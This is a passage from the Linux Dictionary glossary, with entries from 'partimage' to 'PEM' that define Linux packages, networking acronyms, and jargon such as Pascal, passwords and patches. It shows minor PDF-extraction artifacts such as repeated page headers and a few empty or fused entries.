Linux/UNIX utility to save partitions in a compressed image file Partition Image is a Linux/UNIX partition imaging utility: it saves partitions in the Ext2FS (the linux standard), ReiserFS (a new journaled and powerful file system), NTFS (Windows NT File System) or FAT16/32 (DOS & Windows file systems) file system formats to an image file. Only used blocks are copied. The image file can be compressed in the GZIP/BZIP2 formats to save disk space, and split into multiple files to be copied onto removable media (ZIP for example), burned on a CD-R, etc. This makes it possible to save a full Linux/Windows system with a single operation. In case of a problem (virus, crash, error, etc.), you just have to restore, and after several minutes, your entire system is restored (boot, files, etc.), and fully working. This is very useful when installing the same software on many machines: just install one of them, create an image, and just restore the image on all other machines. Then, after the first one, each installation is automatic made, and requires only a few minutes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

partimage-server

Server to use partimage across a network Partition Image is a Linux/UNIX partition imaging utility. It backs up your partitions from a client to a server. All data will be transfer encrypted using SSL. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Partition

A contiguous section of a disk drive that is treated by the operating system as a physical drive. Thus, one disk drive can have several drive letters assigned to it. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

partition

A contiguous section of blocks on your hard disk that is treated like a completely separate disk by most operating systems. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

partition

A division of memory or storage disks into physical or logical segments such that each segment acts as an independent component. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Partition

A section of the storage area of a hard disk created for organizational purposes or to separate different operating systems. A partition is created during initial preparation of the hard disk, before the disk is formatted. In MS-DOS, every hard disk has at least one DOS partition (Version of MS-DOS before version 4.0 required a separate partition for each 1m of disk space). Each partition is treated by DOS as though it were a separate drive. Users may partition their drives to separate one operating system from another, but utility programs such as MultiDisk, are available that let you create several system partitions. See directory and subdirectory. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pas2html

Highlight Pascal and Modula-2 sources for WWW presentation pas2html can highlight your source for presentation in the WWW. It can also be used as a CGI script and can detect whether the client browser supports compressed data to save bandwidth. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PASC

Portable Application Standards Committee (org., IEEE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pascal

A high-level, procedural programming language that encourages programmers to write well-structured, modular programs that take advantage of modern control structures and lack spaghetti code. Pascal has gained wide acceptance as a teaching and application-development language, though most professional programmers prefer C or C++. Pascal is available in interpreted and compiled versions. A major disadvantage of Pascal is that (its standard version (Standard Pascal) contains many shortcomings. The language's inventor, Niklaus Wirth, has covered a new language, Modula-2 as a successor to Pascal, that fixes some of the language's problems, and Borland International's Turbo Pascal makes Pascal easy for personal computer owners to use. See BASIC and FORTRAN From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pascal

An Algol-descended language designed by Niklaus Wirth on the CDC 6600 around 1967-68 as an instructional tool for elementary programming. This language, designed primarily to keep students from shooting themselves in the foot and thus extremely restrictive from a general-purpose-programming point of view, was later promoted as a general-purpose tool and, in fact, became the ancestor of a large family of languages including Modula-2 and Ada. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pascal

n. An Algol-descended language designed by Niklaus Wirth on the CDC 6600 around 1967-68 as an instructional tool for elementary programming. This language, designed primarily to keep students from shooting themselves in the foot and thus extremely restrictive from a general-purpose-programming point of view, was later promoted as a general-purpose tool and, in fact, became the ancestor of a large family of languages including Modula-2 and Ada (see also bondage-and-discipline language). The hackish point of view on Pascal was probably best summed up by a devastating (and, in its deadpan way, screamingly funny) 1981 paper by Brian Kernighan (of K&R fame) entitled "Why Pascal is Not My Favorite Programming Language", which was turned down by the technical journals but circulated widely via photocopies. It was eventually published in "Comparing and Assessing Programming Languages", edited by Alan Feuer and Narain Gehani (Prentice-Hall, 1984). Part of his discussion is worth repeating here, because its criticisms are still apposite to Pascal itself after ten years of improvement and could also stand as an indictment of many other bondage-and-discipline languages. At the end of a summary of the case against Pascal, Kernighan wrote: 9. There is no escape This last point is perhaps the most important. The language is inadequate but circumscribed, because there is no way to escape its limitations. There are no casts to disable the type-checking when necessary. There is no way to replace the defective run-time

environment with a sensible one, unless one controls the compiler that defines the "standard procedures". The language is closed. People who use Pascal for serious programming fall into a fatal trap. Because the language is impotent, it must be extended. But each group extends Pascal in its own direction, to make it look like whatever language they really want. Extensions for separate compilation, FORTRAN-like COMMON, string data types, internal static variables, initialization, octal numbers, bit operators, etc., all add to the utility of the language for one group but destroy its portability to others. I feel that it is a mistake to use Pascal for anything much beyond its original target. In its pure form, Pascal is a toy language, suitable for teaching but not for real programming. Pascal has since been almost entirely displaced (by C) from the niches it had acquired in serious applications and systems programming, but retains some popularity as a hobbyist language in the MS-DOS and Macintosh worlds. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passivetex

PassiveTeX is a library of TeX macros which can be used to process an XML document which results from an XSL transformation to formatting objects. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passphrase

Some systems allow the user to entire an entire sentance (or phrase) rather than a short password. A long phrase can be significantly harder to guess than a simple password, providing better security. Since phrases can be difficult to type in, they are usually only used when extreme security is demanded. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passwd

Change and administer password and group data. This package includes passwd, chsh, chfn, and many other programs to maintain password and group data. Shadow passwords are supported. See /usr/share/doc/passwd/README.Debian.gz From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passwd

change user password From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passwd

The passwd package contains a system utility (passwd) which sets and/or changes passwords, using PAM (Pluggable Authentication Modules). To use passwd, you should have PAM installed on your system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passwd

The passwd package contains a system utility (passwd) which setsand/or changes passwords, using PAM (Pluggable AuthenticationModules).To use passwd, you should have PAM installed on your system. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

passwd

The password file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Password

A code used to gain access (login) to a locked system. Good passwords contain letters and non-letters and are not simple combinations such as virtue7. A good password might be: 5%df(29) But don't use that one! From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password

A personal identifier used to validate a user's authorization to log into a Linux system. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Password

A security tool used to identify authorized users of a program or network and to define their privileges, such as read-only, reading and writing, or file copying. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password

A type of authentication, a password is a secret word that a user must know in order to gain access. A passphrase is a correspondingly larger secret consisting of multiple words. History: Passwords have been used since Roman times. The Romans were some of the first large armies where people didn't recognize each other by sight. In order to gain entry into the camp, a Roman soldier would have to know the secret password. Key point: The most important defensive mechanism that a corporation can take is to create and enforce policies about proper password usage. This policy should entail: length E.g. minimum of 6 characters composition E.g. upper and lower case, numbers, and punctuation. Note that one of the big support headaches is users who have the caps-lock key on which causes passwords to be mistyped. lifetime E.g. when passwords expire. A good choice would be every 6-months. Password expiration is an overrated security technique. Its biggest benefit is that it will automatically age out. source Whether users select their own password or are given one by management. There are automated password programs that will generate easy-to-remember passwords. ownership A policy should declare that passwords should never be shared; many declare that a user will automatically lose privileges if they ever share their password with somebody else. distribution How does the user get his/her password? If the system administrator chooses the password, how do they securely tell the user? If the user chooses a password the first time they log on, how do you prevent other people from getting to the account before the legitimate user? Often people will distribute an initial password, but then force the user to change it. storage Most passwords these days are stored in an encrypted format such that even the administrators cannot know what the password is. authentication period When should the terminal automatically log the user out? Should there be a fixed time, or an inactivity timer? E.g. banking terminals automatically log the user out within a few minutes, PCs have password screen savers that can be configured. Key point: A leading cause of compromise are programs that leave behind default passwords. A leading cause of compromise are users who choose weak passwords that can easily be guessed or cracked. Tools: The crack programs can be used to maintain a strong policy (or break into systems). Tools: On Windows NT, the "passflt.dll" and "passprop.exe" tools can be used to enforce strong passwords. Misunderstanding: People used to believe that a good password was a random mix of UPPER and lower case, numbers, and punctuation. However, this generates passwords that are impossible for users to remember, so they find ways around the restriction, such as writing passwords down on Post-It notes. Therefore, somebody can compromise the network by simply looking for Post-It notes (such as pasted to the bottom of a keyboard). Controversy: Many policies declare that a password must be changed frequently, and most OSes come with tools for enforcing this. However, this leads to the same problem as above: it causes pain for users, so they behave in ways that reduce security. Also, it isn't clear that it dramatically increases security. Contrast: Passwords aren't the only authentication scheme possible. Crypto-cards are often used to generate "one-time passwords" or challenge-response authentication. Tip: Use a Palm Pilot and a crypt program to store your many passwords. Make sure that you choose an encryption program that cannot be broken. Notes: In June, 2001, the British CentralNic commissioned a poll to discover what kinds of passwords people choose. They found that people could be classified: family (50%) Chooses names, such as their own, their partner's (wife, husband, other), children, or pets. They further noted that such people tended to be those who used the computer the least. fan (30%) Chooses names of sports stars, cartoon characters, or pop stars. Since the study was in the United Kingdom, British soccer player David Beckham emerged as the most popular. Variations of Homer Simpson and Madonna also were popular. self-obsessed (11%) Words like "sexy", "stud", "slapper", or "goddess". Note that in the 1995 movie Hackers, the plot centers around a high-level executive who chose "god" for a password, which the hacker easily guessed. cryptics (9%) Passwords with a mix of lower and upper case characters, numbers, and punctuation. See also: grind, crack, password cache, 8-character password, PIN From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password ageing

In a computer network, a feature of the network operating system (NOS) that keeps track of the last time you changed your password You should change your password frequently to help thwart

computer crackers. When your password reaches the end of its "life" such as after six months, a message appears on-screen that encourages you to change your password. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password cache

A temporary copy of the password. Internal to the computer, password information is constantly being checked. If you were queried for the password each and every time, you would find that computer would become unusable. Therefore, the computer attempts to "cache" the password so that internal prompts during the same session do not cause external prompts to the user. Key point: All systems cache passwords in memory during a login session. Therefore, if a hacker can gain access to all memory on the system, he/she can likely sift the memory for passwords. Likewise, hackers can frequently sift pagefiles for passwords. Key point: Many programs whose goal is ease-of-use will ask the user if they want to save the password on disk (in a file or registry. For example, the MS Outlook e-mail client has this feature to cache the POP3 passwords. Therefore, hackers have programs that will sift the filesystem or registry or these passwords. Some systems will store these cached passwords in clear-text, others attempt to encrypt the passwords, but usually this encryption mechanism can be defeated. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password file

A file, /etc/passwd, that contains basic information about each user authorized to log into a given Linux system. For each user, the file contains a line that gives the user's login name, encrypted password, user identifier, group identifier (if any), home directory, and login program patch apply a diff file to an original. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

password protection

A method of limiting access to a program, computer, or a network by requiring you to enter a password. Some programs allow you to password-protect your files so they can't be read by others, but be sure to keep a record of the password. Many users have lost work permanently because they forgot the password and had no means to retrieve it. (If a method for retrieving a password were included in software programs, a clever cracker would quickly discover it, and your data wouldn't be secure) From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

paste

merge lines of files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAT

Port and Address Translation (IOS, Cisco, LAN, IP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patch

1. n. A temporary addition to a piece of code, usually as a quick-and-dirty remedy to an existing bug or misfeature. A patch may or may not work, and may or may not eventually be incorporated permanently into the program. Distinguished from a diff or mod by the fact that a patch is generated by more primitive means than the rest of the program; the classical examples are instructions modified by using the front panel switches, and changes made directly to the binary executable of a program originally written in an HLL. Compare one-line fix. 2. vt. To insert a patch into a piece of code. 3. [in the Unix world] n. A diff (sense 2). 4. A set of modifications to binaries to be applied by a patching program. IBM operating systems often receive updates to the operating system in the form of absolute hexadecimal patches. If you have modified your OS, you have to disassemble these back to the source. The patches might later be corrected by other patches on top of them (patches were said to "grow scar tissue"). The result was often a convoluted patch space and headaches galore. 5. [Unix] the patch(1) program, written by Larry Wall, which automatically applies a patch (sense 3) to a set of source code. There is a classic story of a tiger team penetrating a secure military computer that illustrates the danger inherent in binary patches (or, indeed, any patches that you can't -- or don't -- inspect and examine before installing). They couldn't find any trap doors or any way to penetrate

security of IBM's OS, so they made a site visit to an IBM office (remember, these were official military types who were purportedly on official business), swiped some IBM stationery, and created a fake patch. The patch was actually the trapdoor they needed. The patch was distributed at about the right time for an IBM patch, had official stationery and all accompanying documentation, and was dutifully installed. The installation manager very shortly thereafter learned something about proper procedures. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Patch

A quick fix, in the form of one or more program statements, added to a program to correct bugs or to enhance the program's capabilities. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patch

apply a diff file to an original From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patch

Apply a diff file to an original Patch will take a patch file containing any of the four forms of difference listing produced by the diff program and apply those differences to an original file, producing a patched version. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patch

The patch program applies diff files to originals. The diff command is used to compare an original to a changed file. Diff lists the changes made to the file. A person who has the original file can then use the patch command with the diff file to add the changes to their original file (patching the file). Patch should be installed because it is a common way of upgrading applications. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patch (fix, update)

Security updates to products are often referred to as "patches" because they fix one small part of the product rather than updating the entire product. Analogy: Imagine that you are in a rubber raft that seems to be sinking. You look around on the boat and see small holes. You use your patch kit to fix the small holes rather than building yourself a new boat. Key point: The software you are using today likely has security holes that nobody has discovered yet. It seems unlikely, but this has been the historical precedence, whether you are using open-source (e.g. Linux), Microsoft products, or class UNIX systems (e.g. Sun). Therefore, if you don't keep up with the latest software, you will eventually get hacked. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patchutils

This is a collection of programs that can manipulate patch files in a variety of ways, such as interpolating between two pre-patches, combining two incremental patches, fixing line numbers in hand-edited patches, and simply listing the files modified by a patch. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patchutils

Utilities to work with patches This package includes the following utilities: – combinediff creates a cumulative patch from two incremental patches – filterdiff extracts or excludes diffs from a diff file – fixcvsdiff fixes diff files created by CVS that "patch" mis-interprets – grepdiff shows which files are modified by a patch matching a regex – interdiff shows differences between two unified diff files – lsdiff shows which files are modified by a patch – rediff fixes offsets and counts of a hand-edited diff – splitdiff separates out incremental patches From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

patgen

generate patterns for TeX hyphenation From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

path

n. 1. A bang path or explicitly routed Internet address; a node-by-node specification of a link between two machines. Though these are now obsolete as a form of addressing, they still show up in diagnostics and trace headers occasionally (e.g. in NNTP headers). 2. [Unix] A filename, fully specified relative to the root directory (as opposed to relative to the current directory; the latter is sometimes called a `relative path'). This is also called a `pathname'. 3. [Unix and MS-DOS] The `search path', an environment variable specifying the directories in which the shell (COMMAND.COM, under MS-DOS) should look for commands. Other, similar constructs abound under Unix (for example, the C preprocessor has a `search path' it uses in looking for #include files). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

path

The location of a file on a file system; describes where the file resides in a directory structure. An absolute path is the direct location of a file in the directory structure, starting at the root directory. A relative path is the location of a file relative to the current working directory. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

path name

In DOS, a statement that indicates the name of a file and precisely where it's located on a hard disk . When opening or saving a file with most applications, you must specify the full path name to retrieve or store the file in a directory other than the current directory. Suppose that you're using Wordperfect, and you want to store the file REPORT9.DOC in the directory C:\DOCS. If C:\DOCS isn't the current directory, you must type C:\DOCS\REPORT9.DOC to name and store the file in the correct location. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pathchk

check whether file names are valid or portable From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAUSE

PERL Authors Upload SErver (PERL, CPAN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pavuk

Multiprotocol file grabber with textual and graphic control. This is a file grabber, which can work in text or graphic mode. Pavuk is extremely configurable, supports FTP, HTTP, HTTPS and Gopher protocols. Pavuk also supports cookies, HTTP authentication, "robots.txt". You can also use FTP and HTTP proxy caches. Graphical interface is written in Xt or GTK. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAWS

Protection Against Wrapped Sequence space (TCP, satellite) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pax

'pax' is the POSIX standard archive tool. It supports the two most common forms of standard Unix archive (backup) files – CPIO and TAR. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PAX

Process Before Output (R/3) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pbuilder

personal package builder for Debian packages pbuilder constructs a chroot system, and builds a package inside the chroot. It is an ideal system to use to check that a package's build-dependencies are correct, and to be sure that unnecessary and wrong build dependencies will not exist in the resulting package. It uses apt extensively, and a local mirror, or a fast connection to a Debian mirror is ideal, but not necessary. "pbuilder create" uses debootstrap to create a chroot image. "pbuilder update" updates the image to the current state of testing/unstable/whatever "pbuilder build" takes a *.dsc file and builds a binary in the chroot image. pdebuild is a wrapper for Debian Developers, to allow running pbuilder just like "debuild", as a normal user. From Debian 3.0r0 APT

PCI

Protocol Control Information (OSI, ETSI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCI vendor ID and device ID

PCI supports the useful concept that every vendor and device have unique hex IDs. For instance, Intel has chosen to represent themselves by the completely random number 0x8086 as their vendor ID. PCI cards will provide their IDs on request. You will see numerical values listed in the output of lspci, scanpci, and cat /proc/pci, especially if the respective utility cannot look up the vendor name from the ID number. The file /usr/share/pci.ids (/usr/share/misc/pci.ids on Debian) from the pciutils package contains a complete table of all IDs and their corresponding names. The kudzu package also has a table /usr/share/kudzu/pcitable containing the information we are really looking for: ID to kernel module mappings. This enables you to use the intended scientific method for locating the correct PCI module from the kernel's /proc/pci data. The file format is easy to understand, and as an exercise you

Linux Dictionary

should try writing a shell script to do the lookup automatically. From Rute-Users-Guide

PCMCIA

Personal Computer Memory Card International Association (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCMCIA

see Personal Computer Memory Card International Association (PCMCIA). From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcmcia-cs

PCMCIA Card Services for Linux. PCMCIA cards are commonly used in laptops to provide expanded capabilities, such as modems, increased memory, etc. Some desktop PCs can accept PCMCIA cards as well, although this is rare. Card Services for Linux is a complete PCMCIA support package. It includes a set of client drivers for specific cards, and a card manager daemon that can respond to card insertion and removal events, loading and unloading drivers on demand. It supports "hot swapping" of PCMCIA cards, so cards can be inserted and ejected at any time. The actual kernel modules required for this package are contained in the pcmcia-modules-<kernel version> package, where <kernel version> is the version of the kernel for which the modules have been compiled. The wireless-tools package is required by wireless network adapters. The hotplug package is required by 2.4 (and later) series kernels to use PCI (Cardbus) devices. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcmcia-modules-2.2.20

PCMCIA Modules for Linux (kernel 2.2.20). This package contains the set of loadable kernel modules for the PCMCIA Card Services applications program interface. They have been compiled to be compatible with the kernel in the kernel-image-2.2.20 package version 2.2.20-5. If you have compiled your own kernel, you will most likely need to also recompile the PCMCIA modules. The pcmcia-source package has been provided to help Debian users recompile the PCMCIA modules to work with their kernels' configurations. (It also is possible to rebuild these modules using the Debian source files for the pcmcia-cs package.) The utilities in the pcmcia-cs package are required to use these modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCMS

Project & Configuration Management System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCMT

Personal Computer Message Terminal From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCN

Personal Communications Network From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCN

Public Communications Network (mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCNFS

Personal Computer Network File System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCNOS

Personal Computer / Network Operating System (OS, MS-DOS, CP/M), "PC/NOS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCO

Point of Control and Observation (ISO 9646-1, IUT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcomplete

Programmable completion for Emacs Pcomplete provides a facility for using programmatic completion in Emacs. It is especially useful for utilities like shells and command interpreters, but can in fact be used anywhere within Emacs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pconf-detect

A small command-line utility to auto-detect printers pconf-detect is a simple command-line utility for detecting parallel, USB and network-connected printers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCP

Primary Control Program (IBM, OS, OS/PCP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCP

Printer Control Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCPC

Personal Computers Peripheral Corporation (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCR

Peak Cell Rate (UNI, ATM, SCR) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCR

Processor Configuration Register (Motorola, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCR

Program Clock Reference From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcrd

PCR-1000 Control Daemon / Command Line Interface PCRD is a command line program, that also supports a daemon mode, for controlling an Icom PCR-1000 Wide Band Receiver via a serial port. For more info on the PCR-1000, see <http://www.icomamerica.com/receivers/pc/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcre

PCRE has its own native API, but a set of "wrapper" functions that are based on the POSIX API are also supplied in the library libpcreposix. Note that this just provides a POSIX calling interface to PCRE: the regular expressions themselves still follow Perl syntax and semantics. This package contains a grep variant based on the PCRE library. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pcre

Perl-compatible regular expression library. PCRE has its own native API, but a set of "wrapper" functions that are based on the POSIX API are also supplied in the library libpcreposix. Note that this just provides a POSIX calling interface to PCRE; the regular expressions themselves still follow Perl syntax and semantics. The header file for the POSIX-style functions is called pcreposix.h. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCRW

Linux Dictionary

Phase Change ReWritable (DVD, EMCA), "PC-RW" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCS

Personal Communication System (Sony, Panasonic, Motorola) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCS

Personal Communications Services From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCS

Programmable Communications Subsystem From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCV

Path Coding Violation [error event] (DS1/E1) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PCXT

Personal Computer – eXtended Technology, "PC-XT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PD

Packetization Delay From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PD

Plug & Display [standard] (LCD, VESA), "P&D" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PD

Public DOMAIN From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PD

Public Domain. Supposedly, the "public" owns the copyright. PD SW is the only SW rightly called "free SW". Note that derivations of PD SW need not remain PD. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pd

Realtime Computer Music and Graphics System. A real-time graphical programming environment for audio and graphics analysis and rendering. Pd's audio functions are built-in; graphical computations require a separate package named GEM ("Graphics Environment for Multimedia"). Pd and GEM are available for SGI machines, IBM PC compatibles (running NT or W95) and Linux (PCs or Alpha machines). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDA

Personal Digital Assistant From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDC

Power Disk Cartridge (ECMA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDC

Primary Domain Controller. This stores security and user account info for a domain. It manages all aspects of user/domain interaction. A domain has one PDC and can have multiple BDCs. BDCs hold backup copies of the PDC's info and are occasionally synchronized with the PDC. Both PDCs and BDCs can perform some tasks like user authentication. Often, a main site will have a PDC and a BDC (which can share the PDC's load for certain tasks) and remote sites will BDCs to handle certain tasks locally. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDC

Primary DOMAIN Controller (MS, Windows NT, BDC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdfopt

Ghostscript PDF Optimizer From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdfscreen

Make PDF documents which are printable and readable on screen too pdfscreen is an extension of the hyperref package to provide a screen-based document design. This package helps to generate pdf

documents that are readable on screen and will fit the screen's aspect ratio. Also it can be used with various options to produce regular print versions of the same document without any extra effort. One important utility of this package is to generate slides for talks, seminars etc. It produces a pdf file which can be used for a slideshow on any machine which has a pdf viewer. (Preferrably acroread). The homepage of this project is <http://www.river-valley.com/download> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdftex

PDF output from TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdftops

pdksh

A public domain version of the Korn shell PD-ksh is a mostly complete AT&T ksh look-alike (see NOTES file for a list of things not supported). Work is currently underway to make it fully compatible with both POSIX and AT&T ksh (when the two don't conflict). Since pdksh is free and compiles and runs on most common unix systems, it is very useful in creating a consistent user interface across multiple machines. For example, in the CS department of MUN, pdksh is installed on a variety of machines including Suns, HPs, DecStations, PCs running Linux, etc., and is the login shell of ~4500 users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDL

Page / Program Description / Design Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDL

PERL Data Language (PERL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDL

Program Development Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdl

The perl data language. Perl extensions for numerics. PDL ("Perl Data Language") gives standard perl the ability to COMPACTLY store and SPEEDILY manipulate the large N-dimensional data arrays which are the bread and butter of scientific computing. The idea is to turn perl in to a free, array-oriented, numerical language in the same sense as commercial packages like IDL and MatLab. One can write simple perl expressions to manipulate entire numerical arrays all at once. For example, using PDL the perl variable \$a can hold a 1024x1024 floating point image, it only takes 4Mb of memory to store it and expressions like \$a=sqrt(\$a)+2 would manipulate the whole image in a few seconds. A simple interactive shell (perldl) is provided for command line use together with a module

Linux Dictionary

(PDL) for use in perl scripts. Web page: <http://pdl.perl.org/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDLT

Process Dispatch Latency Time From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDM

Program Development Manager (IBM, ADT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdm

Small GTK-based login program Pdm is a miniature login program, intended for use on PDAs and other small systems. It is not a proper replacement for xdm, but has just about enough functionality to authenticate a user and start a session. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdmenu

Simple full screen menu program. A simple full screen menu program, intended to be comfortable login shell for inexperienced users. Pdmenu interfaces with Debian's menu system, to provide automatically-generated lists of installed programs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDN

Programmer's Distribution Network (Fido) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDN

Public Data Network (mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pdnsd

Proxy DNS Server pdnsd is a proxy dns server with permanent caching (the cache contents are written to hard disk on exit) that is designed to cope with unreachable or down dns servers (for example in dial-in networking). pdnsd can be used with applications that do dns lookups, eg on startup, and can't be configured to change that behaviour, to prevent the often minute-long hangs (or even crashes) that result from stalled dns queries. Some Netscape Navigator versions for Unix, for example, expose this behaviour. And it's IPv6 capable. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PDO

Portable Distributed Objects (NeXT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PEM

Privacy Enhanced Mail (PSRG, RFC 1421/1422/1423/1424) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PEM (Privacy Enhanced E-mail)

